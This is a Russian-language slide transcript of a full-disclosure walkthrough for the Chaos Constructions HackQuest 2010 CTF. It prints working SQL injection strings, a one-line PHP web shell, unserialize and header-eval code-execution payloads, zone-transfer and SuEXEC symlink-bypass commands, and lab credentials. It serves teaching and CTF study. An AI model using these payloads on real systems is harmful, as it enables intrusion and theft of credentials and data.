cc hackquest 2010 full disclosure (мастер-класс)
DESCRIPTION
TRANSCRIPT
Chaos Constructions HackQuest 2010, Full Disclosure
(мастер-класс)
План мероприятия
Несколько слов о мероприятии
Заложенные уязвимости, пути их обнаружения и эксплуатации
Практическое занятие
Пара слов о HackQuest на Chaos Constructions 2010
HackQuest на CC — это открытые соревнования по защите информации, сутью которых является выполнение ряда разнообразных заданий связанных с информационной безопасностью: web hacking, social engineering, reverse engineering и т.п.
HackQuest на CC предоставляет полную свободу выбора по прохождению заданий.
Для захвата одного «ключа» необходимо воспользоваться чередой реальных уязвимостей в самых настоящих (продуктивных) системах.
Расположение большинства «ключей» заранее не известно.
Разработчики HackQuest на Chaos Constructions 2010
Антон Карпов (без комментариев; он сам за себя все сказал: 100% Virus Free Podcast #17, http://www.esetnod32.ru/.company/podcast/)
Сергей Рублев, Тимур Юнусов, Сергей Павлов, Дмитрий Евтеев
Александр Матросов
Тарас Иващенко (Oxdef), Дмитрий Сидоров (INVENT)
Владимир Воронцов (D0znp)
Карта игровой инфраструктуры
192.168.192.2 Содержит задания
192.168.192.3 (honeypot) Cisco 1601R router
192.168.192.4 Содержит задания
192.168.192.5 (honeypot) Sun Solaris 9
192.168.192.6 Содержит задания
192.168.192.7 (honeypot) Windows XP SP1
192.168.192.8 Содержит задания
192.168.192.9 Содержит задания
192.168.192.10 Содержит задания
192.168.192.11 (honeypot) IBM AIX 4.2.X-4.3.3.0
192.168.192.12 Содержит задания
192.168.192.13 (honeypot) Linux SuSE
192.168.192.14 (honeypot) Windows 2000 Server SP2
192.168.192.15 Содержит задания
192.168.192.16 (honeypot) Cisco IOS
192.168.192.17 Содержит задания
192.168.192.18 (honeypot) Cisco Catalyst
192.168.192.19 (honeypot) Juniper router
192.168.192.20 Содержит задания
192.168.192.21 (honeypot) Windows 2000 SP3
192.168.192.22 (honeypot) Check Point FireWall-1
192.168.192.10x Содержит задания
192.168.192.10x Содержит задания
192.168.192.172 (honeypot) APC Smart-UPS
192.168.192.173 хост не является целью
WiFi
Социальная инженерия
Набор дополнительных заданий
CC HackQuest 2010: Задание #1
SQL Injection (MySQL 5.x) в Insert (error based) over Mod_Security
Уязвимый запрос:…$query = "INSERT INTO indexes (text,source) value ('".$_GET['text']."',".$_GET['action'].")"; …
Эксплуатация:
/search.php?action=1&text=1'/*!,(select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a))*/on+duplicate+key+update+a=('
CC HackQuest 2010: Задание #1
SQL Injection (MySQL 5.x) в Insert (error based) over Mod_Security
Альтернативные методы эксплуатации:
/search.php?action=0&text=1'/*!%2b(select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%2b*/'1
/search.php?action=0&text=1'/*!%26(select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%26*/'1
/search.php?action=0&text=1'/*!%26('blabla')%26(select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%2b*/'1
/search.php?action=0&text=1'/*!%26(''%22%22'')%2b(select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%26*/'1
CC HackQuest 2010: Задание #1
SQL Injection (MySQL 5.x) в Insert (error based) over Mod_Security
Классическая последовательность эксплуатации:
На выходе – таблица «admins»
/search.php?action=1&text=1'/*!,(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+where+table_schema!='information_schema'+and+table_schema!='mysql'+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a))*/on+duplicate+key+update+a=(' …
На выходе – имена колонок «login» и «password» в таблице «admins»
/search.php?action=1&text=1'/*!,(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+1,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a))*/on+duplicate+key+update+a=(' /search.php?action=1&text=1'/*!,(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+2,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a))*/on+duplicate+key+update+a=('
CC HackQuest 2010: Задание #1
SQL Injection (MySQL 5.x) в Insert (error based) over Mod_Security
Классическая последовательность эксплуатации:
На выходе – данные из таблицы «admins»
/search.php?action=1&text=1'/*!,(select+1+from(select+count(*),concat((select+concat_ws(0x3a,login,password)+from+admins+limit+0,1),0x3a,floor(rand(0)*2))x+from+admins+group+by+x)a))*/on+duplicate+key+update+a=('
CC HackQuest 2010: Задание #1
Обнаружение раздела администрирования сайтом (via robots.txt)
Восстановление MD5-хеша (via rainbow tables, eq www.xmd5.org)
CC HackQuest 2010: Задание #1
Классическая эксплуатация Remote File Including
Получение приватного RSA ключа в одном из домашних каталогов
пользователей системы
CC HackQuest 2010: Задание #1
Использование RSA ключа для доступа к системе (пароль не требуется)
В случае использования пароля к RSA ключу, можно было использовать SSH Private-Key cracker
(http://www.neophob.com/serendipity/index.php?/archives/123-SSH-Private-Key-cracker.html)
CC HackQuest 2010: Задание #2
SQL Injection (PostgreSQL) в Select (error based)
Уязвимость содержится в разделе восстановления пароля пользователя.
Эксплуатация:
/index.php?r=recovery&name=1&email=1&status=cast(version()+as+numeric)
CC HackQuest 2010: Задание #2
SQL Injection (PostgreSQL) в Select (error based)
Классическая последовательность эксплуатации:
На выходе – таблица «vsmsusers»
/index.php?r=recovery&name=1&email=1&status=1;select+cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric)--.../index.php?r=recovery&name=1&email=1&status=1;select+cast((select+table_name+from+information_schema.tables+limit+1+offset+105)+as+numeric)-- …
На выходе – имена колонок «login» и «password» в таблице «vsmsusers»
/index.php?r=recovery&name=1&email=1&status=1;select+cast((select+column_name+from+information_schema.columns+where+table_name=chr(118)||chr(115)||chr(109)||chr(115)||chr(117)||chr(115)||chr(101)||chr(114)||chr(115)+limit+1+offset+1)+as+numeric)--
…
CC HackQuest 2010: Задание #2
SQL Injection (PostgreSQL) в Select (error based)
Следуя подсказке:
Получение данных, восстановление SHA1-хеша (plain text: 8167):
CC HackQuest 2010: Задание #2
Обнаружение уязвимости File Including
CC HackQuest 2010: Задание #2
Выполнение команд на сервере с использованием «самого короткого веб-шелла»:
/index.php?u=LV89284&p=data:,<?=@`$c`?>&c=ls
/index.php?u=LV89284&p=data:,<?=@`$c`?>&c=cat /etc/passwd
Как это работает?
• Использование stream wrappers («data» появился в PHP с версии 5.2.0)
• short_open_tag и register_globals в состоянии «ON»
• <?= ?> эквивалентно <? echo ?>;
• Использование обратных кавычек эквивалентно использованию shell_exec()
Дополнительно:
• http://php.net/manual/en/wrappers.data.php
• http://www.php.net/manual/en/wrappers.php.php
• http://ru.php.net/operators.execution
• http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/
CC HackQuest 2010: Задание #2
Результат эксплуатации уязвимости LFI
CC HackQuest 2010: Задание #2
Получение ключа возможно после осуществления успешного перебора к сервису
удаленного администрирования telnet (могут использоваться THC-Hydra, Medusa,
ncrack, etc).
LOGIN: websupervis0r2 PASSWORD: websupervis0r2
CC HackQuest 2010: Задание #3
Сложность первого этапа указанного задания заключается в переборе «спрятанных» за
Mod_rewrite поступающих параметров в приложение.
Журнал Хакер (http://www.xakep.ru/magazine/xa/138/default.asp) "Фаззинг сайта, «защищенного»
mod_rewrite", Тимур Юнусов;
http://ptresearch.blogspot.com/2010/09/fuzzing-of-modrewrite-protected-site.html
http://www.ptsecurity.ru/download/modrewrite_search.zip
CC HackQuest 2010: Задание #3
Mod_Rewrite и HTTP 413 «Request Entity Too Large»
Ошибка возникает в следствии некоренного значения «Content-length»
http://devteev.blogspot.com/2010/09/modrewrite.html
CC HackQuest 2010: Задание #3
CC HackQuest 2010: Задание #3
Blind SQL Injection (MySQL 4.0.x)
Логически истинный запрос (true) /index.php?pag=1'or(1)=(1)/*&login=1&password=1
Логически ложный запрос (false) /index.php?pag=1'or(1)=(2)/*&login=1&password=1
CC HackQuest 2010: Задание #3
Blind SQL Injection (MySQL 4.0.x)
Эксплуатация:
/index.php?pag=1'+or+mid(version(),1,3)='4.0'/*&login=1&password=1
/index.php?pag=1'+or+mid(login,1,1)='b'/*&login=1&password=1
...
/index.php?pag=1'+or+mid(password,1,1)='a'/*&login=1&password=1
...
CC HackQuest 2010: Задание #3
Восстановление MD5-хеша
Доступ к веб-приложению
(переход от «black-box» к «gray-box»)
CC HackQuest 2010: Задание #3
Уязвимость HTTP Parameter Pollution (HPP)
Содержимое .htaccess:
ErrorDocument 404 ./404.html
RewriteEngine On
RewriteRule ^([0-9]*)\.php ./index.php?pag=$1 [L,QSA]
RewriteRule ([0-9]*)/$ ./system.php?id=$1&access=user [L,QSA]
Что такое HTTP Parameter Pollution?
OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
Что уязвимо к атаке HTTP Parameter Pollution
Технология/Среда Интерпретация параметров Пример
ASP.NET/IIS Склеивание через запятую par1=val1,val2
ASP/IIS Склеивание через запятую par1=val1,val2
PHP/APACHE Последний параметр результирующий par1=val2
PHP/Zeus Последний параметр результирующий par1=val2
JSP, Servlet/Apache Tomcat Первый параметр результирующий par1=val1
JSP,Servlet/Oracle Application Server 10g Первый параметр результирующий par1=val1
JSP,Servlet/Jetty Первый параметр результирующий par1=val1
IBM Lotus Domino Первый параметр результирующий par1=val1
IBM HTTP Server Последний параметр результирующий par1=val2
mod_perl,libapeq2/Apache Первый параметр результирующий par1=val1
Perl CGI/Apache Первый параметр результирующий par1=val1
mod_perl,lib???/Apache Первый параметр результирующий par1=val1
mod_wsgi (Python)/Apache Возвращается массив ARRAY(0x8b9058c)
Pythin/Zope Первый параметр результирующий par1=val1
IceWarp Возвращается массив ['val1','val2']
AXIS 2400 Последний параметр результирующий par1=val2
Linksys Wireless-G PTZ Internet Camera Склеивание через запятую par1=val1,val2
Ricoh Aficio 1022 Printer Последний параметр результирующий par1=val2
webcamXP Pro Первый параметр результирующий par1=val1
DBMan Склеивание через две тильды par1=val1~~val2
CC HackQuest 2010: Задание #3
Использование уязвимости HTTP Parameter Pollution
/1/?access=admin или /system.php?id=1&access=admin
CC HackQuest 2010: Задание #3
Выполнение команд на сервере over unserialize()
Потенциально уязвимый участок кода (index.php):… echo $pages['adminka']; $sessid = unserialize($_COOKIE['admin_id']);…
Уязвимый участок кода (functions.php):… function __destruct(){echo $this->shutdown;
if (!empty($this->shutdown)){$var = $this->shutdown[0];$arg = $this->shutdown[1];$var($arg);
…
• Еще почитать: «PHP unserialize() _SESSION and Dynamics», Владимир
Воронцов (http://oxod.ru/?p=244)
CC HackQuest 2010: Задание #3
Выполнение команд на сервере over unserialize()
Эксплуатация (cookie[admin_id]):
O:8:"Database":1:{s:8:"shutdown"%3Ba:2:{i:0%3Bs:7:"phpinfo"%3Bi:1%3Bs:2:"-1"%3B}}
O:8:"Database":1:{s:8:"shutdown"%3Ba:2:{i:0%3Bs:8:"passthru"%3Bi:1%3Bs:8:"ls -la /"%3B}}
O:8:"Database":1:{s:8:"shutdown"%3Ba:2:{i:0%3Bs:8:"passthru"%3Bi:1%3Bs:8:"cat /KEY"%3B}}
CC HackQuest 2010: Задание #4
Александр Матросов, http://amatrosov.blogspot.com/
CC HackQuest 2010: Задание #5
Нестандартный язык программирования (Lua)
Владимир Воронцов, http://oxod.ru/
Выход за пределы каталога (path traversal)
Эксплуатация:
cat file.in | b64decode -o file.out
openssl enc -d -aes-256-cbc -in file.out -out file.decrypt -k 'из history'
CC HackQuest 2010: Задание #6
Хостинг-сервер
Для получения доступа к веб-приложениям требовалось идентифицировать их присутствие. Это было возможно путем переноса обслуживаемой DNS-зоны.
• dig @192.168.192.10 PTR 10.192.168.192.in-addr.arpa
• dig @192.168.192.10 cc10.site axfr
CC HackQuest 2010: Задание #7
Классическая уязвимость Local File Including
Эксплуатируется неклассическим методом (см. «Новая веха в теории инклуда: свежие способы
раскрутки local и remote file include», http://www.xakep.ru/post/49508/default.asp)
CC HackQuest 2010: Задание #7
Пример проведения атаки:
CC HackQuest 2010: Задание #7
Обход ограничений SuEXEC
Уязвимость заключается в возможности переопределить установленные
ограничения на каталог веб-сервера (FollowSymLinks)
Использование уязвимости:
echo Options +FollowSymLinks > /usr/local/www/data/vasya/.htaccess
ln -s /usr/local/www/data/root/.htaccess /usr/local/www/data/vasya/access.txt
ln -s /usr/local/www/data/root/.htpasswd_new /usr/local/www/data/vasya/passwd.txt
http://www.kernelpanik.org/docs/kernelpanik/suexec.en.pdf
CC HackQuest 2010: Задание #7
Социальная инженерия
Получение исходного кода и адреса уязвимого приложения; эксплуатация
уязвимости «Внедрение операторов SQL» в SQLite с использованием
особенностей функции sqlite_escape_string(); Владимир Воронцов,
http://www.xakep.ru/post/53551/default.asp
CC HackQuest 2010: Задание #8
Для прохождения задания требуется получение
исходного кода приложения
CC HackQuest 2010: Задание #9
Эксплуатация уязвимости:
X-Forwarded-For=';?><?eval($_GET['cmd']);?><?$a='
Результат такого запроса:# cat /usr/local/www/apache22/data/blacklist.php<?include_once('config.php');$blacklist_ip[0] = '';?><?eval($_GET['cmd']);?><?$a='';?>
CC HackQuest 2010: Задание #9
Получение доступа к используемой конфигурации Cisco
Login: cc10Cisco Password: cisco
Router>enable 3
Password: Cisco
Router#show privilege
Current privilege level is 3
Router#show running-config view full
CC HackQuest 2010: Задание #10
Подбор содержимого TFTP-сервера
http://code.google.com/p/tftptheft/downloads/list
CC HackQuest 2010: Задание #11
Тонкости Microsoft Active Directory
CC HackQuest 2010: Задание #12
Тонкости Microsoft Active Directory
CC HackQuest 2010: Задание #12
IPv6, WiFi, задание с использованием Cross-Site Scripting,
стеганография, задания на поиск ключа в PDF и др. Всего
игровая инфраструктура содержала 21 ключ.
CC HackQuest 2010: Другие задания
CC HackQuest 2010: Победители
I. RDOT.org (8 заданий)
II. Andrey 1800 (4 задания)
III. nucro (4 задания)
III. neweagle (4 задания)
CC HackQuest 2010: Вместо заключения
Что дальше?
Выполните практическое занятие
Участвуйте online http://www.securitylab.ru/hq2010
И еще немного ссылок:
http://cc.org.ru/
http://devteev.blogspot.com/2010/08/chaos-constructions-2010_30.html